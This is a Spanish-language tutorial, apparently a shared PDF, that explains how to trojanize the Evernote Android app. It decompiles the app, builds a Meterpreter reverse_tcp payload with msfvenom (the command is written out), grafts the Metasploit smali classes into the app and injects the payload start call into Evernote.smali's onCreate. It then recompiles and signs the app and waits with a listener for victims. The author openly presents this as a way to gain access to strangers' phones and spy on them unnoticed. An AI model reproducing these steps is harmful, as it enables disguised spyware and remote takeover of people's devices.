Troyanizadodeapk

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 21

Rubén Palenque Arriola

Aka: Hackmaister
ÍNDICE
APK’S TROYANIZADAS...................................................................................................................3
SEGURIDAD DE LAS APLICACIONES..........................................................................................3
HISOTIA DE ANDROID.....................................................................................................................3
EL MERCADO DE LAS APLICACIONES........................................................................................4
ELEMENTOS DE UNA APLICACIÓN TROYANIZADA................................................................4
DECOMPILAR UNA APLICACIÓN..................................................................................................6
INYECTAR UNA APLICACIÓN........................................................................................................6
RECOMPILADO DE LA APLICACIÓN............................................................................................6
FIRMADO DE LA APLICACIÓN MALICIOSA...............................................................................6
CREACIÓN DE LA APLICACIÓN MALICIOSA.............................................................................7
ENTORNOS DE ACTUACIÓN..........................................................................................................7
PREPARANDO APK EASY TOOL....................................................................................................7
OBTENCIÓN DE LA APLICACIÓN ORIGINAL.............................................................................8
DECOMPILADO DE LA APLICACIÓN ORIGINAL.......................................................................8
CREACIÓN DE LA APLICACIÓN MALICIOSA...........................................................................12
DECOMPILADO DE LA APLICACIÓN MALICIOSA..................................................................13
TROYANIZADO DE LA APLICACIÓN ORIGINAL CON LA MALICIOSA...............................15
COMPILACIÓN DE LA APLICACIÓN MALICIOSA....................................................................25
RESULTADO DE LA APLICACION................................................................................................26
APK’S TROYANIZADAS

En este documento vamos a intentar entender la lógica de la inyectación de un payload en una


aplicación original de android de una empresa cualquiera del mercado de aplicaciones para
dispositivos android.
En la actualidad hay infinidad de dispositivos que corren el sistema operativo adquirido por la
empresa Google como entre otros Dispositivos móviles, Phablets, tabletas, wereables, sistemas de
entretenimiento para los automoviles, televisores, etcétera.
En esencia la adquisición de aplicaciones para estos terminales se lleva a cabo desde las store propia
de Google para Android Play Store pero en muchas ocasiones la gente se deja embelesar por los
engaños de terceros para instalar una aplicación no controlada por Play Store con artimañas como
pueden ser alegar que se posee una versión sin coste de una aplicación de pago o la difilcutad para
poder adquirir la aplicación por haber sido retirada, por ejemplo.

SEGURIDAD DE LAS APLICACIONES

Actualmente hay inversiones millonarias en el desarrollo de aplicaciones para dispositivos del


sistema Android y por ello la investigación en medidas de seguridad complica en algunas
situaciones el proceso de inyección de aplicaciones originales debido a sistemas anti decompilación,
comprobación de versiones o anti compilados de las aplicaciones. Esto genera la tesitura de que no
todas las aplicaciones son inyectables con las herramientas que se describen en este documento pero
si será posible para organizaciones especializadas en estos métodos los cuales dedican tiempo en el
análisis estatico de estas contramedidas para poder llevar a cabo la técnica en cualquier escenario
que se presente.

HISOTIA DE ANDROID

En octubre de 2008 se lanzaba el primer dispositivo que incluía el sistema operativo Android, este
dispositivo era el HTC Dream que fué lanzado en primicia mundial en los Estados Unidos.
Android en sus origines era un concepto muy grande que se fué perfilando en el transcurso de los
años siguientes hasta llegar al nivel de dispositivos que existen hoy en día y siendo esto en gran
medida posible a la evolución de los elementos hardware destinados a dispositivos móviles
inteligentes.
Hoy en día podemos catalogar Android tál y cómo un ordenador de bolsillo capaz de emular
terminales de comandos basados en bash dado que el sistema operativo está basado en el núcleo de
Linux. Pero no solo esto, Android nos permite llevar editores de texto, reproductor de música,
cámara de fotos de altas prestaciones, navegador de internet y una larga lista de aplicativos que
unifican los dispositivos portátiles actuales a pequeños ordenadores de bolsillo como pueden ser las
Rapberry pi o la Orange pi entre muchas placas de desarrollo.
Claramente Android responde a las necesidades de los tiempos actuales y apesar de que cada vez
menos se siguen usando las redes de datos de voz para llevar a cabo llamadas también permiten
estas comunicaciones.
Desde la tecnología GSM hasta el 4G de hoy en día estas bandas han evolucionado a niveles
insospechados siendo a día de hoy el estandar la tecnoloǵia 4G capaz de transmitir voz y datos a la
vez tál y cómo se logró con los routers ADSL de hace unos años.

EL MERCADO DE LAS APLICACIONES

El grueso de las empresas en vistas del movimiento de sus usuarios en el mercado móvil destinan
grandes cantidades de dinero a estar presentes en el mercado de las aplicaciones para Android dado
que uno de estos terminales está en el bolsillo de 6 de cada 10 personas en el mundo siendo
fundamental no perder cuota de mercado e incluso añadiendo usuarios nuevos al sistema Android
solo para poder usar aplicaciones como Facebook, Instagram, Whatsapp, Telegram y muchas más
aplicaciones que marcan tendencias entre la sociedad en la vivimos.
Entoces según estos datos estamos ante la vertiente más fácil de inyección para lograr ganar el
acceso a dispositivos de gente que ni conocemos sólo con destinar un poco de esfuerzo al
aprendizaje de inyección de payloads dentro de estas aplicaciones.

ELEMENTOS DE UNA APLICACIÓN TROYANIZADA

Las aplicaciones troyanizadas pueden ser en esencia de dos tipos:


• Aplicaciones maliciosas sin camuflaje
• Aplicaciones maliciosas con camuflaje
Las aplicaciones maliciosas sin camuflaje solo tienen cómo función la de generar una conexión
directa o reversa entre dos dispositivos. Son características porque no ofrecen ninguna
funcionalidad que permita sacar provecho de esta aplicación más alla de que abra la conexión
mencionada.
Las aplicaciones maliciosas con camuflaje son las más peligrosas y dificiles de identificar dado que
el código malicioso de la aplicación está camuflado dentro de una aplicación comercial que tiene
cómo fín entregar un servicio al usuario, y en el caso de ser instalada en un teléfono esta nos
permitirá espiar el contenido del dispositivo sin que la víctima se percate de ello.

La conexión directa o reversa se conoce habitualmente como payload o shellcode dependiendo de


cómo esté codificada la información, en el caso del payload los datos de la conexión son legibles en
texto plano al contrario de las shellcode que son ofuscadas o encriptadas y desencritadas por
funciones de la aplicación para poder evitar a los antivirus.
DECOMPILAR UNA APLICACIÓN

Decompilar una aplicación es un trabajo relativamente sencillo y muy automatizado existiendo


herramientas tanto para sistemas Linux como para Windows. La principal y más usada es
APKTOOL.
APKTOOL es multiplataforma y corre sobre JAVA por lo que teniendo la máquina virtual JAVA
instalada ya tendremos todos los requisitos necesarios para poder correr la aplicación.

INYECTAR UNA APLICACIÓN

Esta es la parte más complicada del procedimiento, se requiere conocimientos de JAVA y de la


estructura de Android para poder llevarla a cabo de manera correcta. A pesar de ello mediante el
esayo y error también se puede llegar a concluir el proceso de manera satisfactoria.

Consiste en incluir el código que permitirá crear una aplicación maliciosa para obtener el control de
un atacante sobre su víctima.

RECOMPILADO DE LA APLICACIÓN

Este proceso es crucial y depende directamente del proceso de inyectado dado que si cometemos
errores en la inyección este paso va a fallar y muchas veces no solo no se establecerá la conexión
con la víctima, si no que el proceso de recompilado núnca será satisfactorio.

FIRMADO DE LA APLICACIÓN MALICIOSA

El firmado de la aplicación maliciosa es determinante dado que si no es firmada digitalmente el


dispositivo Android que valla a ser alojador de esta aplicación será incapaz de instalarla bajo error
de certificado. Esto es debido a que una firma es una especie de identificador que da información de
quién creó la aplicación a groso modo y puede ser usado por especialistas forenses para determinar
si es una aplicación es maliciosa o no.
CREACIÓN DE LA APLICACIÓN MALICIOSA

Para este proceso lo más sencillo es utilizar MSFVENOM que viene preinstalado en distribuciones
DEBIAN tales cómo Kali Linux o Parrot OS. Este proceso requiere de asignar correctamente la
dirección ip del atacante el puerto que escuchará la conexión y el tipo de payload apropiado tál y
cómo veremos más adelante.

ENTORNOS DE ACTUACIÓN

Para esta guía se va a utilizar Kali Linux 2018.2 y Window 7 con la aplicación APK EASY TOOL
que es una jollita para este trabajo de inyección tanto por su sencillez cómo por el auto firmado de
la aplicación recompilada.
Además es recomendable un editor de textos al estilo de notepad ++ para trabajar los diferentes
archivos que encontraremos al decompilar las aplicaciones.

PREPARANDO APK EASY TOOL

La primera vez que abrimos la aplicación se debe indicar la versión de apktool que se va a utilizar
seleccionando entre las disponibles, en la mayoría de las ocasiones sólo habrá una opción en el
desplegable, en caso contrario se debe seleccionar la mayor versión posible.
OBTENCIÓN DE LA APLICACIÓN ORIGINAL

Para obtener la aplicación original se debe descargar desde internet, en esta práctica se procederá a
usar la última versión de Evernote alojada en apkmirror.com ha día 19-03-2018

https://www.apkmirror.com/apk/evernote-corporation/evernote/evernote-7-17-1-release/evernote-
stay-organized-7-17-1-android-apk-download/

DECOMPILADO DE LA APLICACIÓN ORIGINAL


Para decompilar la aplicación se debe seleccionar la aplicación en la interfaz APK EASY TOOL y
elegir el icomo DECOMPILE, tras este proceso se iniciará la decompilación de Evernote que será
visible al finalizar el proceso dentro de la carpeta documentos → apk easy tool → decompiled apks.

Se lanzará el proceso.

Y veremos tras unos minutos que se ha terminado con éxito.


Ya está decompilada la aplicación.

CREACIÓN DE LA APLICACIÓN MALICIOSA

Para ello utilizaremos desde Kali Linux MSFVENOM indicando -p android/meterpreter/reverse_tcp


que será el tipo de conexión reversa, el LHOST que será la direcció IP del atacante y el LPORT que
será el puerto local del atacante a la escucha.
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_ATACANTE
LPORT=PUERTO_LOCAL -o aplicación.apk
DECOMPILADO DE LA APLICACIÓN MALICIOSA

El proceso es el mismo que la aplicación original pero mucho más rápido debido al tamaño de la
aplicación.
TROYANIZADO DE LA APLICACIÓN ORIGINAL CON LA
MALICIOSA
Lo primero que se debe tener encuenta es que se va a realizar un injerto de la conexión reversa
perteneciente a la aplicación maliciosa dentro de la aplicación original, después añadiremos el
proceso a un método OnCreate que es el que llama a todas las dependecias de la clase de la carpeta
metasploit para que la conexión se realice de manera satisfactoria.

Para ello dentro de la carpeta de la aplicación maliciosa nos dirigiremos a la carpeta smaili que
alojará la carpeta com la cúal contendrá una carpeta llamada metasploit. Copiaremos esta carpeta y
la insertaremos dentro la aplicación original en la carpeta smali y dentro de esta en com.

Evernote → smali → com


Una vez que el injerto está completado debemos abrir un documento que núnca variará dentro de la
carpeta metasploit que aloja la carpeta stage llamado MainService.smali el cúal aloja la llamada
para inicializar la clase de la conexión reversa.
Dicha línea es la marcada en azul en la imagen que se presenta abajo. Este archivo lo mantendremos
abierto para no tener que estar contínuamente abriendo y cerrando archivos y carpetas.
Una vez localizada esta línea llega el momento más complicado de la inyección de la conexión
reversa encontrar el lugar dónde podemos inyectar el call marcado arriba para que todo salga
tál y cómo se espera.
Os dejo unas pequeñas directrices para que esta labor séa más sencilla de llevar a cabo.
• Los archivos que llevan la palabra Activity son un buen comienzo para buscar el método
OnCreate.
• Hay archivos que contienen Activity o el propio nombre de la aplicación que instancian
acciones una vez se reunen unas condiciones tales como hacer una publicación, esperar que
salgan anuncios, pulsar un botón, etcétera. Estos métodos hay que intentar evitarlos y
localizar llamadas primarias de la aplicación.
• Entender la programación de las aplicaciones Android y las APIS utilizadas para ello nos
dan una idea bastante más global sobre que hacen las APIS que integran las aplicaciones: -
◦ adwords == eventos publicitario que salta dentro de la aplicación
◦ facebook == siendo una aplicación que no es facebook implica alguna característica
de la API de esta red social, es decir el stager de la conexión reversa enrutará
cuando se trabaje con ella.
◦ ………………………… Desarrollen su ingenio!!.
Por ende y lo explicado más arriba lo ideal es localizar con un poco de lógica y otra parte de suerte,
por qué no decirlo, una llamada interna primaria de la aplicación original que permita invocar la
función de la conexión reversa. En este documento cláramente no os voy a describir todas las
pruebas llevadas a cabo pero si una idea general de las conclusiones que he ido acumulando para
este caso concreto de inyección.

• Dentro de la carpeta com existe una que se llama Evernote.(El core de la aplicación).
• Dentro de esta carpeta llamada Evernote es recomendable realizar una búsqueda de ficheros
que contengan el String Activity.
• En este caso ninguno de esto métodos es válido y el apropiado es Evernote.smali.

Este fichero es el apropiado debido a que cumple dos requisitos que deben ser cumplidos siempre:
• Posee el método OnCreate.
• Dentro del método Oncreate existe una línea que comienza por: invoke-super {p0} ,
debajo de la cúal pegaremos es stager de la conexión reversa de metasploit:
invoke-static {p0}, ……………………………………………………..)V
Lcom/metasploit/stage/Payload;→start(Landroid/content/Context;)V
Se debe editar el archivo Evernote.smali y buscar en él strig OnCreate

Para que la inyección sea válida debemos de buscar dentro del método OnCreate una línea que
empieze por invoke-super {p0} , ; y debajo de esta se añadirá :
invoke-static {p0}, Lcom/metasploit/stage/Payload;→start(Landroid/content/Context;)V
COMPILACIÓN DE LA APLICACIÓN MALICIOSA

A la hora de compilar la aplicación se debe tener en cuenta que la opción Sign APK after compile
(Overwrite) debe estar activa para que no genere errores en el momento de su instalación. Además
se debe seleccionar la carpeta en la que hemos trabajado para indicar que debe compilar todos esos
archivos y generar la aplicación maliciosa a partir de ellos.

La aplicación aparecerá en la carpeta recompiled de APK EASY TOOL


RESULTADO DE LA APLICACION

En el momento que la aplicación es lanzada y siempre que se tenga el handler a la escucha se


establecerá la conexión reversa entre la víctima y el atacante.
En la imagen superior se aprecia cómo se debe configurar el handler y dejarlo a la escucha a la
espera de la recepción de la conexión.

También podría gustarte